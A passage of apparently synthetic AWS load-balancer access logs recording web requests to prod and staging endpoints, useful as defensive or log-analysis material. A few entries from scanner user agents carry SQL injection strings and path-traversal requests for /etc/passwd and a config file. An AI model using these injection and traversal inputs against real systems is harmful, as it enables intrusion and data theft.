"Root=1-6723b9fd-d1bed4a6ae2c4fe6ae1d144d" "prod-api-alb.example.com" "-" 10 2024-11-01T00:10:21.145205Z "forward" "-" "-" "10.0.215.184:443" "302" "-" "-" +https 2024-11-01T00:10:21.562086Z prod-api-alb 45.155.205.149:28997 10.0.99.129:443 0.057556 0.130408 0.088019 200 200 4 14832 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9fd-b004d743aaf147e9aef5f758" "-" "-" 4 2024-11-01T00:10:21.562086Z "forward" "-" "-" "10.0.99.129:443" "200" "-" "-" +https 2024-11-01T00:10:21.896106Z staging-alb 47.83.113.15:60395 12.204.58.9:80 0.048546 0.588657 0.089623 200 200 997 12842 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9fd-3040f565305e45b4af609e0b" "staging-alb.example.com" "-" 10 2024-11-01T00:10:21.896106Z "forward" "-" "-" "12.204.58.9:80" "200" "-" "-" +https 2024-11-01T00:10:22.467963Z prod-web-alb 117.101.30.142:32306 10.0.24.227:443 0.017074 0.121574 0.096950 302 302 875 1990 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9fe-a6bbe7e4715c40818f034e7f" "prod-web-alb.example.com" "-" 2 2024-11-01T00:10:22.467963Z "forward" "-" "-" "10.0.24.227:443" "302" "-" "-" +https 2024-11-01T00:10:23.265475Z prod-api-alb 247.214.38.165:28272 10.0.231.130:443 0.088040 0.452333 0.048469 200 200 575 4956 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9ff-374051f0aa0844cea6c2ce54" "prod-api-alb.example.com" "-" 7 2024-11-01T00:10:23.265475Z "forward" "-" "-" "10.0.231.130:443" "200" "-" "-" +https 2024-11-01T00:10:23.450935Z prod-api-alb 74.79.153.66:21012 10.0.170.208:443 0.093182 0.188227 0.083106 301 301 994 13199 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9ff-b0cc939fd45848f4b0f3e183" "prod-api-alb.example.com" "-" 8 2024-11-01T00:10:23.450935Z "forward" "-" "-" "10.0.170.208:443" "301" "-" "-" +https 2024-11-01T00:10:24.360873Z prod-api-alb 150.143.154.5:12513 10.0.105.143:443 0.060508 0.440679 0.064841 200 200 465 4372 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba00-05b65e0ad7924338a643dc25" "prod-api-alb.example.com" "-" 8 2024-11-01T00:10:24.360873Z "forward" "-" "-" "10.0.105.143:443" "200" "-" "-" +http 2024-11-01T00:10:25.787439Z staging-alb 125.63.89.223:54942 172.61.250.145:8080 0.024079 0.394765 0.061572 404 404 526 245 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba01-b9a26d31fe044dfca2cbca0b" "staging-alb.example.com" "-" 3 2024-11-01T00:10:25.787439Z "forward" "-" "-" "172.61.250.145:8080" "404" "-" "-" +https 2024-11-01T00:10:26.065533Z prod-api-alb 252.187.29.50:43007 10.0.11.99:443 0.039900 0.163331 0.092171 200 200 129 1775 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba02-e0255e3fb7d242659c11c31e" "prod-api-alb.example.com" "-" 4 2024-11-01T00:10:26.065533Z "forward" "-" "-" "10.0.11.99:443" "200" "-" "-" +https 2024-11-01T00:10:26.869931Z prod-api-alb 217.137.11.93:47021 10.0.200.240:443 0.087691 0.167187 0.037351 200 200 992 6188 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba02-acfcc85776ac456f8d0b0506" "prod-api-alb.example.com" "-" 9 2024-11-01T00:10:26.869931Z "forward" "-" "-" "10.0.200.240:443" "200" "-" "-" +https 2024-11-01T00:10:28.078178Z staging-alb 204.221.53.144:25500 8.98.211.81:443 0.124419 0.013417 0.090705 200 200 564 5477 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba04-be293ea1aa8f43da8f724b58" "staging-alb.example.com" "-" 9 2024-11-01T00:10:28.078178Z "forward" "-" "-" "8.98.211.81:443" "200" "-" "-" +https 2024-11-01T00:10:29.306709Z prod-api-alb 45.155.205.142:42410 10.0.81.179:443 0.023339 0.124640 0.005819 403 403 100 9634 "GET /../../../etc/passwd HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba05-98fd8794e066430e9f001539" "-" "-" 6 2024-11-01T00:10:29.306709Z "forward" "-" "-" "10.0.81.179:443" "403" "-" "-" +http 2024-11-01T00:10:30.881571Z staging-alb 89.108.100.214:20765 163.132.30.40:443 0.086683 0.067804 0.061158 200 200 372 10194 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba06-e4cbe658a4914b85b4155d34" "staging-alb.example.com" "-" 6 2024-11-01T00:10:30.881571Z "forward" "-" "-" "163.132.30.40:443" "200" "-" "-" +http 2024-11-01T00:10:31.148586Z staging-alb 163.203.213.158:58165 175.144.108.153:443 0.106597 0.538634 0.135759 404 404 483 12241 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba07-80fc0258305340b3b7233872" "-" "-" 4 2024-11-01T00:10:31.148586Z "forward" "-" "-" "175.144.108.153:443" "404" "-" "-" +https 2024-11-01T00:10:32.601131Z prod-api-alb 1.136.189.44:36084 10.0.7.185:443 0.047300 0.298847 0.083998 200 200 595 11103 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba08-f000780f4b424685bd495700" "prod-api-alb.example.com" "-" 0 2024-11-01T00:10:32.601131Z "forward" "-" "-" "10.0.7.185:443" "200" "-" "-" +https 2024-11-01T00:10:34.012357Z prod-web-alb 251.8.159.115:23735 10.0.58.68:443 0.070163 0.454163 0.094573 302 302 206 4929 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba0a-a86e8755c3884a3698b8e37b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:10:34.012357Z "forward" "-" "-" "10.0.58.68:443" "302" "-" "-" +https 2024-11-01T00:10:34.415309Z prod-api-alb 52.141.164.216:31281 10.0.102.244:443 0.037750 0.014010 0.092319 200 200 116 9607 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba0a-b8b6871cf1654afdb9026b8d" "prod-api-alb.example.com" "-" 6 2024-11-01T00:10:34.415309Z "forward" "-" "-" "10.0.102.244:443" "200" "-" "-" +https 2024-11-01T00:10:34.973274Z prod-api-alb 166.82.7.163:63652 10.0.205.105:443 0.043026 0.256790 0.005578 200 200 678 9399 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba0a-cf2d3e570cdb402482ac2607" "prod-api-alb.example.com" "-" 0 2024-11-01T00:10:34.973274Z "forward" "-" "-" "10.0.205.105:443" "200" "-" "-" +https 2024-11-01T00:10:35.477472Z prod-api-alb 185.10.61.82:41556 10.0.53.79:443 0.088111 0.201273 0.097063 302 302 698 14064 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba0b-0fbb0d228f4c4dbdadfd4b56" "prod-api-alb.example.com" "-" 1 2024-11-01T00:10:35.477472Z "forward" "-" "-" "10.0.53.79:443" "302" "-" "-" +https 2024-11-01T00:10:35.655580Z prod-api-alb 133.88.105.83:14407 10.0.215.84:443 0.032501 0.313480 0.042190 200 200 27 1879 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba0b-a79722edc53543188fd8f425" "prod-api-alb.example.com" "-" 7 2024-11-01T00:10:35.655580Z "forward" "-" "-" "10.0.215.84:443" "200" "-" "-" +https 2024-11-01T00:10:36.488641Z staging-alb 205.82.189.62:35682 153.34.226.121:8080 0.126427 0.362888 0.092280 302 302 546 3791 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba0c-3343efea07e04ffe99975489" "staging-alb.example.com" "-" 0 2024-11-01T00:10:36.488641Z "forward" "-" "-" "153.34.226.121:8080" "302" "-" "-" +https 2024-11-01T00:10:38.024898Z prod-api-alb 238.82.54.46:59006 10.0.38.222:443 0.096427 0.243285 0.018697 404 404 995 5385 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba0e-c0c00d28d25a4857892ca73f" "prod-api-alb.example.com" "-" 5 2024-11-01T00:10:38.024898Z "forward" "-" "-" "10.0.38.222:443" "404" "-" "-" +http 2024-11-01T00:10:39.877319Z staging-alb 50.179.11.19:45251 208.175.40.27:80 0.031937 0.039501 0.090467 200 200 887 2737 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba0f-ac33be21b9b04625818e8f21" "staging-alb.example.com" "-" 2 2024-11-01T00:10:39.877319Z "forward" "-" "-" "208.175.40.27:80" "200" "-" "-" +http 2024-11-01T00:10:40.129514Z staging-alb 27.231.252.50:25018 154.154.162.67:8080 0.084344 0.119005 0.043943 200 200 491 6292 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba10-e1e91dffdd2c4572be5ca602" "staging-alb.example.com" "-" 8 2024-11-01T00:10:40.129514Z "forward" "-" "-" "154.154.162.67:8080" "200" "-" "-" +https 2024-11-01T00:10:40.393344Z prod-api-alb 53.75.175.44:56788 10.0.200.90:443 0.078210 0.414738 0.032151 302 302 995 3962 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba10-cf0f88b98b30470e902c2543" "prod-api-alb.example.com" "-" 0 2024-11-01T00:10:40.393344Z "forward" "-" "-" "10.0.200.90:443" "302" "-" "-" +https 2024-11-01T00:10:41.945922Z staging-alb 177.55.41.180:28177 79.59.245.160:443 0.035115 0.064737 0.039113 302 302 2 10344 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba11-2a6c6311fe9c4268ac0ab64d" "staging-alb.example.com" "-" 9 2024-11-01T00:10:41.945922Z "forward" "-" "-" "79.59.245.160:443" "302" "-" "-" +https 2024-11-01T00:10:42.818117Z prod-api-alb 253.64.35.202:63802 10.0.38.168:443 0.002350 0.010480 0.056763 302 302 299 5645 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba12-2c9c2b9054034093a9f823a5" "prod-api-alb.example.com" "-" 9 2024-11-01T00:10:42.818117Z "forward" "-" "-" "10.0.38.168:443" "302" "-" "-" +https 2024-11-01T00:10:43.505049Z prod-api-alb 219.26.210.36:26942 10.0.5.2:443 0.020736 0.143724 0.047985 404 404 661 4261 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba13-13dbc153124b40669df69263" "prod-api-alb.example.com" "-" 6 2024-11-01T00:10:43.505049Z "forward" "-" "-" "10.0.5.2:443" "404" "-" "-" +https 2024-11-01T00:10:44.266268Z prod-api-alb 2.29.78.11:61163 10.0.255.86:443 0.016506 0.100236 0.056572 200 200 227 924 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba14-cc1c265fc9e844328e2cd38d" "-" "-" 7 2024-11-01T00:10:44.266268Z "forward" "-" "-" "10.0.255.86:443" "200" "-" "-" +https 2024-11-01T00:10:45.852562Z staging-alb 168.41.221.243:10936 42.224.16.140:80 0.132446 0.356836 0.104826 200 200 572 6799 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba15-d3cc2aa8452f47f9a3827a60" "staging-alb.example.com" "-" 8 2024-11-01T00:10:45.852562Z "forward" "-" "-" "42.224.16.140:80" "200" "-" "-" +http 2024-11-01T00:10:47.116017Z staging-alb 157.89.210.232:14805 194.230.43.233:80 0.010295 0.705356 0.072747 301 301 664 3725 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba17-b11e743713b847c1a8d2a93d" "staging-alb.example.com" "-" 4 2024-11-01T00:10:47.116017Z "forward" "-" "-" "194.230.43.233:80" "301" "-" "-" +https 2024-11-01T00:10:47.218941Z prod-web-alb 110.219.46.28:55352 10.0.57.191:443 0.083414 0.486821 0.002889 200 200 456 666 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba17-024afde7b2e04fa9afac20f4" "prod-web-alb.example.com" "-" 1 2024-11-01T00:10:47.218941Z "forward" "-" "-" "10.0.57.191:443" "200" "-" "-" +http 2024-11-01T00:10:47.524581Z staging-alb 185.181.76.214:51133 81.146.211.229:8080 0.148967 0.367959 0.011600 403 403 5 7058 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba17-289a2fd5cc2a4c94aa54affb" "-" "-" 7 2024-11-01T00:10:47.524581Z "forward" "-" "-" "81.146.211.229:8080" "403" "-" "-" +https 2024-11-01T00:10:48.955816Z prod-api-alb 56.222.118.242:16435 10.0.238.183:443 0.097038 0.499818 0.029985 302 302 894 9675 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba18-43d928a10bdc461bb271a0f0" "prod-api-alb.example.com" "-" 8 2024-11-01T00:10:48.955816Z "forward" "-" "-" "10.0.238.183:443" "302" "-" "-" +https 2024-11-01T00:10:49.312735Z prod-web-alb 13.77.246.120:60570 10.0.118.100:443 0.095716 0.465197 0.045604 200 200 414 5332 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba19-5342ee0d307c4c14ab711e0e" "prod-web-alb.example.com" "-" 0 2024-11-01T00:10:49.312735Z "forward" "-" "-" "10.0.118.100:443" "200" "-" "-" +https 2024-11-01T00:10:49.915388Z staging-alb 160.68.98.146:27623 165.165.130.252:443 0.068149 0.155938 0.146871 200 200 712 11351 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba19-90aaef947ef44cb0b5819f3c" "staging-alb.example.com" "-" 9 2024-11-01T00:10:49.915388Z "forward" "-" "-" "165.165.130.252:443" "200" "-" "-" +https 2024-11-01T00:10:51.143338Z prod-api-alb 224.74.84.249:11653 10.0.179.238:443 0.062801 0.145506 0.035452 200 200 972 14513 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba1b-cce67240b4a84a28a05fa0d6" "prod-api-alb.example.com" "-" 2 2024-11-01T00:10:51.143338Z "forward" "-" "-" "10.0.179.238:443" "200" "-" "-" +http 2024-11-01T00:10:52.260513Z staging-alb 81.69.79.253:61034 213.110.249.85:443 0.138069 0.250971 0.080112 302 302 8 9299 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba1c-f9f1652110cd4a8ebebc7955" "staging-alb.example.com" "-" 7 2024-11-01T00:10:52.260513Z "forward" "-" "-" "213.110.249.85:443" "302" "-" "-" +https 2024-11-01T00:10:53.109327Z staging-alb 143.148.104.26:30026 100.39.225.3:8080 0.031572 0.246417 0.124807 200 200 970 1720 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba1d-f0f5cadbb38c4c69b37e3dbd" "staging-alb.example.com" "-" 4 2024-11-01T00:10:53.109327Z "forward" "-" "-" "100.39.225.3:8080" "200" "-" "-" +http 2024-11-01T00:10:53.360247Z staging-alb 58.49.110.237:31541 94.254.244.242:8080 0.142796 0.018186 0.070134 200 200 293 4301 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba1d-292ee77da8954123941276f6" "staging-alb.example.com" "-" 10 2024-11-01T00:10:53.360247Z "forward" "-" "-" "94.254.244.242:8080" "200" "-" "-" +https 2024-11-01T00:10:54.636113Z prod-web-alb 61.88.168.48:60092 10.0.133.234:443 0.003023 0.277721 0.097121 301 301 529 2242 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba1e-2ab58e8278974484b761b2b1" "prod-web-alb.example.com" "-" 4 2024-11-01T00:10:54.636113Z "forward" "-" "-" "10.0.133.234:443" "301" "-" "-" +https 2024-11-01T00:10:55.025858Z prod-web-alb 193.27.228.181:18085 10.0.17.70:443 0.022987 0.192129 0.055108 404 404 136 9870 "GET /api/../../../config HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba1f-0d64c4ad910b44d1a47984ed" "-" "-" 10 2024-11-01T00:10:55.025858Z "forward" "-" "-" "10.0.17.70:443" "404" "-" "-" +https 2024-11-01T00:10:55.535293Z prod-api-alb 145.79.236.46:33392 10.0.186.240:443 0.025571 0.155836 0.038443 301 301 934 9267 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba1f-7cb6fbf7199c4122a2bc9ddf" "prod-api-alb.example.com" "-" 2 2024-11-01T00:10:55.535293Z "forward" "-" "-" "10.0.186.240:443" "301" "-" "-" +https 2024-11-01T00:10:56.541306Z prod-api-alb 216.174.21.53:17876 10.0.84.105:443 0.096597 0.146624 0.022550 404 404 762 5526 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba20-606d69e4804f49358e4aed93" "prod-api-alb.example.com" "-" 6 2024-11-01T00:10:56.541306Z "forward" "-" "-" "10.0.84.105:443" "404" "-" "-" +https 2024-11-01T00:10:56.795955Z prod-web-alb 142.158.36.163:19198 10.0.2.191:443 0.081176 0.270704 0.027734 200 200 718 12875 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba20-1de301e98ddb4b68bad785fd" "prod-web-alb.example.com" "-" 0 2024-11-01T00:10:56.795955Z "forward" "-" "-" "10.0.2.191:443" "200" "-" "-" +https 2024-11-01T00:10:57.251382Z prod-web-alb 104.186.194.134:32736 10.0.235.42:443 0.011413 0.459873 0.064222 302 302 303 4739 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba21-d04f7877de2b4b3b9e2fa48c" "prod-web-alb.example.com" "-" 9 2024-11-01T00:10:57.251382Z "forward" "-" "-" "10.0.235.42:443" "302" "-" "-" +http 2024-11-01T00:10:59.048465Z staging-alb 252.20.217.34:47995 210.138.15.49:8080 0.096005 0.130068 0.112332 200 200 152 966 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba23-b0cdb6413f9148c8980ab987" "staging-alb.example.com" "-" 8 2024-11-01T00:10:59.048465Z "forward" "-" "-" "210.138.15.49:8080" "200" "-" "-" +http 2024-11-01T00:11:00.379378Z staging-alb 149.92.101.192:51458 56.112.224.162:80 0.004932 0.305515 0.017126 200 200 700 8471 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba24-9494c747d40540c3b6cc9775" "staging-alb.example.com" "-" 6 2024-11-01T00:11:00.379378Z "forward" "-" "-" "56.112.224.162:80" "200" "-" "-" +https 2024-11-01T00:11:01.265331Z staging-alb 185.181.76.214:23981 49.117.98.217:80 0.088428 0.047122 0.084260 500 500 189 12830 "POST /users?id=1 OR 1=1 HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba25-a00caf8ffab54eb4b19ca6fb" "-" "-" 5 2024-11-01T00:11:01.265331Z "forward" "-" "-" "49.117.98.217:80" "500" "-" 